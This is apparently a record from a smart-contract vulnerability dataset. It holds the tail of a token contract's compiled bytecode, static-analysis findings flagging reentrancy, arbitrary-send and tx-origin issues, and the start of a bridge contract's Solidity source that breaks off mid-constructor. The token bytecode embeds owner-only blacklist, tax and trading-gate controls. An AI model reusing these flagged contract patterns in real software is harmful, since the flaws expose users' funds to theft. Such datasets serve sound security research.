5b611371612cc5565b50505050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461144e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144590613dde565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114c457806114c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ba90614378565b60405180910390fd5b5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60095481565b6060600280546115a690613d3a565b80601f01602080910402602001604051908101604052809291908181526020018280546115d290613d3a565b801561161f5780601f106115f45761010080835404028352916020019161161f565b820191906000526020600020905b81548152906001019060200180831161160257829003601f168201915b5050505050905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ae90613dde565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146117a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179790613dde565b60405180910390fd5b60006117ab30611377565b9050600081116117f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117e7906143e4565b60405180910390fd5b6117f981612dff565b50565b6000611806612225565b611845576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183c906140bd565b60405180910390fd5b6118503384846122ab565b905092915050565b600a5481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146118ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e390613dde565b60405180910390fd5b600060016103e88461ffff166009600a6119069190613fcc565b633b9aca006119159190614017565b61191f9190614017565b6119299190614433565b6119339190614464565b905060095481101561197a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197190614506565b60405180910390fd5b80600981905550600060016103e88461ffff166009600a61199b9190613fcc565b633b9aca006119aa9190614017565b6119b49190614017565b6119be9190614433565b6119c89190614464565b9050600a54811015611a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0690614572565b60405180910390fd5b80600a8190555050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611aaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa190613dde565b60405180910390fd5b80601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c5290613dde565b60405180910390fd5b82600e60066101000a81548161ffff021916908361ffff16021790555081600e60086101000a81548161ffff021916908361ffff16021790555080600e600a6101000a81548161ffff021916908361ffff160217905550600e600a9054906101000a900461ffff16600e60089054906101000a900461ffff16600e60069054906101000a900461ffff16611cef9190614592565b611cf99190614592565b600e600c6101000a81548161ffff021916908361ffff160217905550505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611da8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9f90613dde565b60405180910390fd5b8263ffffffff168463ffffffff166009600a611dc49190613fcc565b633b9aca00611dd39190614017565b611ddd9190614017565b611de79190614433565b600b819055508063ffffffff168263ffffffff166009600a611e099190613fcc565b633b9aca00611e189190614017565b611e229190614017565b611e2c9190614433565b600c8190555050505050565b600e60009054906101000a900461ffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611eda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ed190613dde565b60405180910390fd5b6000600e60036101000a81548160ff021916908360ff160217905550600e60029054906101000a900460ff166002611f1291906145ca565b600e60046101000a81548160ff021916908360ff160217905550565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611fbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fb390613dde565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861638160405161202b9190614664565b60405180910390a150565b600860149054906101000a900460ff1681565b601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156120e257506000601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b156121675780601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e600081819054906101000a900461ffff168092919061214b9061467f565b91906101000a81548161ffff021916908361ffff160217905550505b5050565b6000600e600a9054906101000a900461ffff1661ffff1611156121f257601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156121f0573d6000803e3d6000fd5b505b50565b43600f54118061220757506000600f54145b15612222578060ff164361221b9190614464565b600f819055505b50565b60008060009050600860149054906101000a900460ff161561224a57600190506122a4565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614156122a357600190505b5b8091505090565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561231c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612313906146f6565b60405180910390fd5b43600f54111561243557600360049054906101000a900463ffffffff1663ffffffff16600360009054906101000a900463ffffffff1663ffffffff16846123639190614716565b73ffffffffffffffffffffffffffffffffffffffff16141561238e5761238960016121f5565b612430565b6000601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156123e5576123e08343612049565b61242f565b61242e83601160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612049565b5b5b61254f565b6000601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146124c6576124c583601160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612049565b5b601260009054906101000a900460ff1660ff16600f546124e69190614464565b431080156124f35750483a115b1561254e576000483a61250691906140dd565b9050601354811061254c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254390614793565b60405180910390fd5b505b5b600860149054906101000a900460ff1680156125ab57506000601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b80156125f5575043601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b15612635576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161262c906147ff565b60405180910390fd5b60148054906101000a900460ff161580156126995750600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156126a7576126a661301e565b5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561270f57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015612767575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156127b6576127768383613200565b6127b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127ac9061486b565b60405180910390fd5b5b60006127c3858585613340565b9050600081846127d391906140dd565b905083600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282091906140dd565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008211156128fb5781600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b79190614464565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b80600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129469190614464565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516129e6919061396b565b60405180910390a36001925050509392505050565b80600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015612be2577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff604051612bd9919061396b565b60405180910390a35b50565b600081612c1257600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71984308760008087426040518863ffffffff1660e01b8152600401612c79969594939291906148c6565b60606040518083038185885af1158015612c97573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612cbc919061493c565b50505050505050565b600a43612cd29190614464565b600f819055506009600a612ce69190613fcc565b6103e86009600a612cf79190613fcc565b633b9aca00612d069190614017565b600a612d129190614017565b612d1c9190614433565b612d269190614464565b6009819055506009600a612d3a9190613fcc565b6103e86009600a612d4b9190613fcc565b633b9aca00612d5a9190614017565b6019612d669190614017565b612d709190614433565b612d7a9190614464565b600a81905550600e60029054906101000a900460ff16600e60036101000a81548160ff021916908360ff1602179055506012600e60046101000a81548160ff021916908360ff1602179055506008600e60056101000a81548160ff021916908360ff1602179055506001600860146101000a81548160ff021916908315150217905550565b612e08816129fb565b6000600267ffffffffffffffff811115612e2557612e2461498f565b5b604051908082528060200260200182016040528015612e535781602001602082028036833780820191505090505b5090503081600081518110612e6b57612e6a6149be565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612f12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612f3691906142d6565b81600181518110612f4a57612f496149be565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612fe8959493929190614aab565b600060405180830381600087803b15801561300257600080fd5b505af1158015613016573d6000803e3d6000fd5b505050505050565b60016014806101000a81548160ff021916908315150217905550600061304330611377565b9050600b5481101580156130635750600860149054906101000a900460ff165b156131e357600c54811061307757600c5490505b60006002600e600c9054906101000a900461ffff1661ffff16600e60089054906101000a900461ffff1661ffff16846130b09190614017565b6130ba9190614433565b6130c49190614433565b90506000600e600c9054906101000a900461ffff1661ffff16600e60069054906101000a900461ffff1661ffff16846130fd9190614017565b6131079190614433565b905061311460008261354a565b600081838561312391906140dd565b61312d91906140dd565b9050600047905061313d82612dff565b6000814761314b91906140dd565b90506000600e60089054906101000a900461ffff1661ffff1611156131c4576000600e600c9054906101000a900461ffff1661ffff16600e60089054906101000a900461ffff1661ffff16836131a19190614017565b6131ab9190614433565b90506131b6866129fb565b6131c286826000612be5565b505b600047905060008111156131dc576131db8161216b565b5b5050505050505b5060006014806101000a81548160ff021916908315150217905550565b60008060019050600860149054906101000a900460ff16801561326d5750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613336576009548311156132855760009050613335565b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561332a5750600a5483600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546133289190614464565b115b1561333457600090505b5b5b8091505092915050565b600080600860149054906101000a900460ff1615806133a85750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806133fc5750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561340a576000905061353f565b600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561348d576064600e60039054906101000a900460ff1660ff168461347c9190614017565b6134869190614433565b905061353e565b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613510576064600e60049054906101000a900460ff1660ff16846134ff9190614017565b6135099190614433565b905061353d565b6064600e60059054906101000a900460ff1660ff16846135309190614017565b61353a9190614433565b90505b5b5b809150509392505050565b60008111156136d55780600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461359e91906140dd565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461362c9190614464565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516136cc919061396b565b60405180910390a35b5050565b600081519050919050565b600082825260208201905092915050565b60005b838110156137135780820151818401526020810190506136f8565b83811115613722576000848401525b50505050565b6000601f19601f8301169050919050565b6000613744826136d9565b61374e81856136e4565b935061375e8185602086016136f5565b61376781613728565b840191505092915050565b6000602082019050818103600083015261378c8184613739565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006137c482613799565b9050919050565b6137d4816137b9565b81146137df57600080fd5b50565b6000813590506137f1816137cb565b92915050565b6000819050919050565b61380a816137f7565b811461381557600080fd5b50565b60008135905061382781613801565b92915050565b6000806040838503121561384457613843613794565b5b6000613852858286016137e2565b925050602061386385828601613818565b9150509250929050565b60008115159050919050565b6138828161386d565b82525050565b600060208201905061389d6000830184613879565b92915050565b600060ff82169050919050565b6138b9816138a3565b81146138c457600080fd5b50565b6000813590506138d6816138b0565b92915050565b6000806000606084860312156138f5576138f4613794565b5b6000613903868287016138c7565b9350506020613914868287016138c7565b9250506040613925868287016138c7565b9150509250925092565b60006020828403121561394557613944613794565b5b6000613953848285016137e2565b91505092915050565b613965816137f7565b82525050565b6000602082019050613980600083018461395c565b92915050565b60008060006060848603121561399f5761399e613794565b5b60006139ad868287016137e2565b93505060206139be868287016137e2565b92505060406139cf86828701613818565b9150509250925092565b6139e2816138a3565b82525050565b60006020820190506139fd60008301846139d9565b92915050565b600060208284031215613a1957613a18613794565b5b6000613a2784828501613818565b91505092915050565b613a398161386d565b8114613a4457600080fd5b50565b600081359050613a5681613a30565b92915050565b60008060408385031215613a7357613a72613794565b5b6000613a81858286016137e2565b9250506020613a9285828601613a47565b9150509250929050565b613aa5816137b9565b82525050565b6000602082019050613ac06000830184613a9c565b92915050565b600061ffff82169050919050565b613add81613ac6565b8114613ae857600080fd5b50565b600081359050613afa81613ad4565b92915050565b60008060408385031215613b1757613b16613794565b5b6000613b2585828601613aeb565b9250506020613b3685828601613aeb565b9150509250929050565b60008060408385031215613b5757613b56613794565b5b6000613b65858286016137e2565b9250506020613b76858286016137e2565b9150509250929050565b600080600060608486031215613b9957613b98613794565b5b6000613ba786828701613aeb565b9350506020613bb886828701613aeb565b9250506040613bc986828701613aeb565b9150509250925092565b600063ffffffff82169050919050565b613bec81613bd3565b8114613bf757600080fd5b50565b600081359050613c0981613be3565b92915050565b60008060008060808587031215613c2957613c28613794565b5b6000613c3787828801613bfa565b9450506020613c4887828801613bfa565b9350506040613c5987828801613bfa565b9250506060613c6a87828801613bfa565b91505092959194509250565b613c7f81613ac6565b82525050565b6000602082019050613c9a6000830184613c76565b92915050565b6000613cab82613799565b9050919050565b613cbb81613ca0565b8114613cc657600080fd5b50565b600081359050613cd881613cb2565b92915050565b600060208284031215613cf457613cf3613794565b5b6000613d0284828501613cc9565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680613d5257607f821691505b60208210811415613d6657613d65613d0b565b5b50919050565b7f4f6e6c7920636f6e7472616374206f776e65722063616e2063616c6c2074686960008201527f732066756e6374696f6e00000000000000000000000000000000000000000000602082015250565b6000613dc8602a836136e4565b9150613dd382613d6c565b604082019050919050565b60006020820190508181036000830152613df781613dbb565b9050919050565b7f54617820746f6f20686967680000000000000000000000000000000000000000600082015250565b6000613e34600c836136e4565b9150613e3f82613dfe565b602082019050919050565b60006020820190508181036000830152613e6381613e27565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115613ef057808604811115613ecc57613ecb613e6a565b5b6001851615613edb5780820291505b8081029050613ee985613e99565b9450613eb0565b94509492505050565b600082613f095760019050613fc5565b81613f175760009050613fc5565b8160018114613f2d5760028114613f3757613f66565b6001915050613fc5565b60ff841115613f4957613f48613e6a565b5b8360020a915084821115613f6057613f5f613e6a565b5b50613fc5565b5060208310610133831016604e8410600b8410161715613f9b5782820a905083811115613f9657613f95613e6a565b5b613fc5565b613fa88484846001613ea6565b92509050818404811115613fbf57613fbe613e6a565b5b81810290505b9392505050565b6000613fd7826137f7565b9150613fe2836138a3565b925061400f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613ef9565b905092915050565b6000614022826137f7565b915061402d836137f7565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561406657614065613e6a565b5b828202905092915050565b7f54726164696e67206e6f74206f70656e00000000000000000000000000000000600082015250565b60006140a76010836136e4565b91506140b282614071565b602082019050919050565b600060208201905081810360008301526140d68161409a565b9050919050565b60006140e8826137f7565b91506140f3836137f7565b92508282101561410657614105613e6a565b5b828203905092915050565b7f74726164696e6720616c7265616479206f70656e000000000000000000000000600082015250565b60006141476014836136e4565b915061415282614111565b602082019050919050565b600060208201905081810360008301526141768161413a565b9050919050565b7f6574682063616e6e6f7420626520300000000000000000000000000000000000600082015250565b60006141b3600f836136e4565b91506141be8261417d565b602082019050919050565b600060208201905081810360008301526141e2816141a6565b9050919050565b7f6e6f7420656e6f75676820657468000000000000000000000000000000000000600082015250565b600061421f600e836136e4565b915061422a826141e9565b602082019050919050565b6000602082019050818103600083015261424e81614212565b9050919050565b7f6e6f20746f6b656e730000000000000000000000000000000000000000000000600082015250565b600061428b6009836136e4565b915061429682614255565b602082019050919050565b600060208201905081810360008301526142ba8161427e565b9050919050565b6000815190506142d0816137cb565b92915050565b6000602082840312156142ec576142eb613794565b5b60006142fa848285016142c1565b91505092915050565b60006040820190506143186000830185613a9c565b6143256020830184613a9c565b9392505050565b7f5a65726f2077616c6c6574206d75737420626520756e6c696d69746564000000600082015250565b6000614362601d836136e4565b915061436d8261432c565b602082019050919050565b6000602082019050818103600083015261439181614355565b9050919050565b7f4e6f20746f6b656e730000000000000000000000000000000000000000000000600082015250565b60006143ce6009836136e4565b91506143d982614398565b602082019050919050565b600060208201905081810360008301526143fd816143c1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061443e826137f7565b9150614449836137f7565b92508261445957614458614404565b5b828204905092915050565b600061446f826137f7565b915061447a836137f7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156144af576144ae613e6a565b5b828201905092915050565b7f7478206c696d697420746f6f206c6f7700000000000000000000000000000000600082015250565b60006144f06010836136e4565b91506144fb826144ba565b602082019050919050565b6000602082019050818103600083015261451f816144e3565b9050919050565b7f77616c6c6574206c696d697420746f6f206c6f77000000000000000000000000600082015250565b600061455c6014836136e4565b915061456782614526565b602082019050919050565b6000602082019050818103600083015261458b8161454f565b9050919050565b600061459d82613ac6565b91506145a883613ac6565b92508261ffff038211156145bf576145be613e6a565b5b828201905092915050565b60006145d5826138a3565b91506145e0836138a3565b92508160ff04831182151516156145fa576145f9613e6a565b5b828202905092915050565b6000819050919050565b600061462a61462561462084613799565b614605565b613799565b9050919050565b600061463c8261460f565b9050919050565b600061464e82614631565b9050919050565b61465e81614643565b82525050565b60006020820190506146796000830184614655565b92915050565b600061468a82613ac6565b915061ffff82141561469f5761469e613e6a565b5b600182019050919050565b7f4e6f207472616e73666572732066726f6d205a65726f2077616c6c6574000000600082015250565b60006146e0601d836136e4565b91506146eb826146aa565b602082019050919050565b6000602082019050818103600083015261470f816146d3565b9050919050565b600061472182613799565b915061472c83613799565b92508261473c5761473b614404565b5b828206905092915050565b7f476173207072696365206f766572206c696d6974000000000000000000000000600082015250565b600061477d6014836136e4565b915061478882614747565b602082019050919050565b600060208201905081810360008301526147ac81614770565b9050919050565b7f626c61636b6c6973746564000000000000000000000000000000000000000000600082015250565b60006147e9600b836136e4565b91506147f4826147b3565b602082019050919050565b60006020820190508181036000830152614818816147dc565b9050919050565b7f54582065786365656473206c696d697473000000000000000000000000000000600082015250565b60006148556011836136e4565b91506148608261481f565b602082019050919050565b6000602082019050818103600083015261488481614848565b9050919050565b6000819050919050565b60006148b06148ab6148a68461488b565b614605565b6137f7565b9050919050565b6148c081614895565b82525050565b600060c0820190506148db6000830189613a9c565b6148e8602083018861395c565b6148f560408301876148b7565b61490260608301866148b7565b61490f6080830185613a9c565b61491c60a083018461395c565b979650505050505050565b60008151905061493681613801565b92915050565b60008060006060848603121561495557614954613794565b5b600061496386828701614927565b935050602061497486828701614927565b925050604061498586828701614927565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614a22816137b9565b82525050565b6000614a348383614a19565b60208301905092915050565b6000602082019050919050565b6000614a58826149ed565b614a6281856149f8565b9350614a6d83614a09565b8060005b83811015614a9e578151614a858882614a28565b9750614a9083614a40565b925050600181019050614a71565b5085935050505092915050565b600060a082019050614ac0600083018861395c565b614acd60208301876148b7565b8181036040830152614adf8186614a4d565b9050614aee6060830185613a9c565b614afb608083018461395c565b969550505050505056fea264697066735822122080660de58a85198a995072ad6f2a0e693f2934870cdb8d26f4ff2b5c6b5aeb6a64736f6c634300080b0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,125 |
0x624770594a1c5e1f58f20c04e3f19e870bdd6c0b | /**
*Submitted for verification at Etherscan.io on 2022-03-05
*/
// Cosmic Kiss Bridge
// https://cosmickiss.io/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract CosmicBridgeETH {
using SafeMath for uint256;
uint256 public tax;
address public relayer;
address public operator;
uint256 public minAmount;
mapping(address => mapping(uint => bool)) public processedNonces;
enum State { Deposit, Withdraw }
event Transfer(
address from,
address to,
uint256 amount,
uint date,
uint256 nonce,
bytes signature,
State indexed state
);
constructor(address _relayer,uint256 _tax,uint256 _minAmount) {
minAmount = _minAmount;
